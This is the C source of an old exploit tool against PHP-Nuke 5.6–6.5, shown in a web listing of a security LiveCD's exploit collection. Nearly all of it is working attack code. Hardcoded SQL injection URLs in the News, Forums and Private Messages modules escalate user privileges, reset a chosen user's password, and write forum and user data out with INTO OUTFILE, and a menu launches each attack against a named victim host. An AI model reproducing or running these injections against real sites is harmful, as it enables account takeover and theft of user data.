home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webapp / phpnuke / UHAGr-V2phpnuke.c < prev   
C/C++ Source or Header  |  2005-02-12  |  5KB  |  195 lines

  1. /*
  2. * UHAGr produce UHAGr-V2phpnuke
  3. * This exploit is the version 2
  4. * of the phpexploit with new bugs
  5. * and targets for phpnuke!
  6. * This exploit may use the lynx broswer!
  7. * PHP-Nuke vulnerable versions are:
  8. * 5.6, 6.0, 6.5 RC1, 6.5 RC2, 6.5 RC3, and 6.5
  9. * date 3/4/2003
  10. * public  lame code and proof of concept
  11. * Greets: All UHAGr members,PyRiNI,
  12. * uscrew && priv8security team.
  13. *
  14. * UHAGr.org
  15. * extraneous@uhagr.org
  16. *
  17. */
  18. #include <stdio.h>
  19. #include <stdlib.h>
  20. #include <unistd.h>
  21. #include <errno.h>
  22. #include <string.h>
  23. #include <netdb.h>
  24. #include <sys/types.h>
  25. #include <netinet/in.h>
  26. #include <sys/socket.h>
  27.  
  28. #define PORT 80
  29. #define MAX 148
  30. #define LYNX "/usr/bin/lynx"
  31. #define EXPL1 "/modules.php?name=News&file=article&sid=1&save=1&mode=',user_level='4"
  32. #define EXPL2 "/modules.php?name=News&file=article&sid=1&save=1&order=',user_level='4"
  33. #define EXPL3 "/modules.php?name=News&file=article&sid=1&save=1&thold=',user_level='4"
  34. #define EXPL4 "modules.php?name=News&file=article&sid=1&save=1&order=',pass='d41d8cd98f00b204e9800998ecf8427e'%20where%20uname='"
  35. #define EXPL5 "/modules.php?op=modload&name=Forums&file=viewtopic&topic=1&forum=1'%20INTO%20OUTFILE%20'"
  36. #define EXPL5_CON "/vt.txt"
  37. #define EXPL6 "/modules.php?op=modload&name=Forums&file=viewforum&forum='%20OR%201=1%20INTO%20OUTFILE%20'"
  38. #define EXPL6_CON "/vf.txt'/*"
  39. #define EXPL7 "/modules.php?op=modload&name=Forums&file=reply&forum=1')%20INTO%20OUTFILE%20'"
  40. #define EXPL7_CON "/reply.txt'/*"
  41. #define EXPL8 "/modules.php?op=modload&name=Forums&file=newtopic&forum=1')%20INTO%20OUTFILE%20'"
  42. #define EXPL8_CON "/newtopic.txt'/*"
  43. #define EXPL9 "/modules.php?op=modload&name=Forums&file=editpost&forum=1'%20INTO%20OUTFILE%20'"
  44. #define EXPL9_CON "/editpost.txt"
  45. #define XPL10 "/modules.php?name=Private_Messages&file=reply&send=1&uname='%20OR%201=1%20INTO%20OUTFILE%20'"
  46. #define XPL10_CON "users.txt"
  47. #define EXPL4_CON "'/*"
  48.  
  49. int out(void)
  50. {
  51.     printf("Give me the path without file name\n"
  52.         "ex: /uhagr/\n"
  53.         "that you would like to save this file...:");
  54. }
  55.  
  56. int main(int argc, char *argv[])
  57. {
  58.     int sindesi, bytes, choice;
  59.     char buf[MAX];
  60.     char sinolo[1024];
  61.     char pathi1[80];
  62.     char bob[30];
  63.     char file[50];
  64.     struct hostent *he;
  65.     struct sockaddr_in their_addr;
  66.     choice = 1;
  67.     if (argc != 2) {
  68.         fprintf(stderr,"UHAGr development team produce\nphp nuke v2 exploit 5.6 6.5 by extraneous\nRisk:average\nusage:./UHAGR-phpnuke <victim>\n");
  69.         exit(1);
  70.     }
  71.  
  72.     if ((he=gethostbyname(argv[1])) == NULL) {
  73.         perror("gethostbyname");
  74.         exit(1);
  75.     }
  76.  
  77.     bzero (&their_addr, sizeof (their_addr));
  78.       bcopy (he->h_addr, (char *) &their_addr.sin_addr, he->h_length);
  79.       their_addr.sin_family = he->h_addrtype;
  80.       their_addr.sin_port = htons (80);
  81.  
  82.     if ((sindesi = socket(he->h_addrtype, SOCK_STREAM, 0)) < 0) {
  83.         perror("socket");
  84.         exit(1);
  85.     }
  86.  
  87.     if (connect(sindesi, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) < 0) {
  88.         perror("connect");
  89.         exit(1);
  90.     }
  91.  
  92.     printf( "Choose:\nvulnerable systems:5.6, 6.0, 6.5 RC1, 6.5 RC2, 6.5 RC3, and 6.5\nNew's vulnerabilities\n[1]mode\n[2]order\n[3]thold\n[4]change the passwd\n"
  93.         "vulnerable systems:6.0, 6.5 RC2\nForum's vulnerabilities\n[5]change view topic\n[6]change view forum\n[7]change reply forum\n"
  94.         "[8]change new topic\n[9]edit post forum\n[0]save all users info into a file\n"
  95.         "I am waiting for a number...:");
  96.  
  97.     choice = getchar();
  98.     switch (choice){
  99.         case '1':
  100.         strcat(sinolo,EXPL1);
  101.         if((execl(LYNX,"%s",sinolo,0)) == -1)
  102.         {perror("execl()");}
  103.         break;
  104.  
  105.         case '2':
  106.         strcat(sinolo, EXPL2);
  107.         if((execl(LYNX,"%s",sinolo,0)) == -1)
  108.         {perror("execl()");}
  109.         break;
  110.  
  111.         case '3':
  112.         strcat(sinolo, EXPL3);
  113.         if((execl(LYNX,"%s",sinolo,0)) == -1)
  114.         {perror("execl()");}
  115.         break;
  116.  
  117.         case '4':
  118.         printf("Give me the name of the user that you want to change his/her passwd!\n");
  119.         scanf("%s",&bob);
  120.         strcat(sinolo, EXPL4);
  121.         strcat(sinolo,bob);
  122.         strcat(sinolo,EXPL4_CON);
  123.         write(sindesi, sinolo,sizeof(sinolo));
  124.         if((execl(LYNX,"%s",sinolo,0)) == -1)
  125.         {perror("execl()");}
  126.         break;
  127.  
  128.         case '5':
  129.         out();
  130.         strcat(sinolo, EXPL5);
  131.         strcat(sinolo, pathi1);
  132.         strcat(sinolo, EXPL5_CON);
  133.         if((execl(LYNX,"%s",sinolo,0)) == -1)
  134.         {perror("execl()");}
  135.         break;
  136.  
  137.         case '6':
  138.         out();
  139.         scanf("%s",&pathi1);
  140.         strcat(sinolo, EXPL6);
  141.         strcat(sinolo, pathi1);
  142.         strcat(sinolo, EXPL6_CON);
  143.         if((execl(LYNX,"%s",sinolo,0)) == -1)
  144.         {perror("execl()");}
  145.         break;
  146.  
  147.         case '7':
  148.         out();
  149.         scanf("%s",&pathi1);
  150.         strcat(sinolo, EXPL7);
  151.         strcat(sinolo, pathi1);
  152.         strcat(sinolo, EXPL7_CON);
  153.         if((execl(LYNX,"%s",sinolo,0)) == -1)
  154.         {perror("execl()");}
  155.         break;
  156.  
  157.         case '8':
  158.         out();
  159.         scanf("%s",&pathi1);
  160.         strcat(sinolo, EXPL8);
  161.         strcat(sinolo, pathi1);
  162.         strcat(sinolo, EXPL8_CON);
  163.         if((execl(LYNX,"%s",sinolo,0)) == -1)
  164.         {perror("execl()");}
  165.         break;
  166.  
  167.         case '9':
  168.         out();
  169.         scanf("%s",&pathi1);
  170.         strcat(sinolo, EXPL9);
  171.         strcat(sinolo, pathi1);
  172.         strcat(sinolo, EXPL9_CON);
  173.         if((execl(LYNX,"%s",sinolo,0)) == -1)
  174.         {perror("execl()");}
  175.         break;
  176.  
  177.         case '0':
  178.         out();
  179.         scanf("%s",&pathi1);
  180.         strcat(sinolo, XPL10);
  181.         strcat(sinolo, pathi1);
  182.         strcat(sinolo, XPL10_CON);
  183.         if((execl(LYNX,"%s",sinolo,0)) == -1)
  184.         {perror("execl()");}
  185.         break;
  186.  
  187.         default:
  188.         printf("Try again.....\n");
  189.         break;
  190.     }
  191.  
  192.     close(sindesi);
  193.     return 0;
  194. }
  195.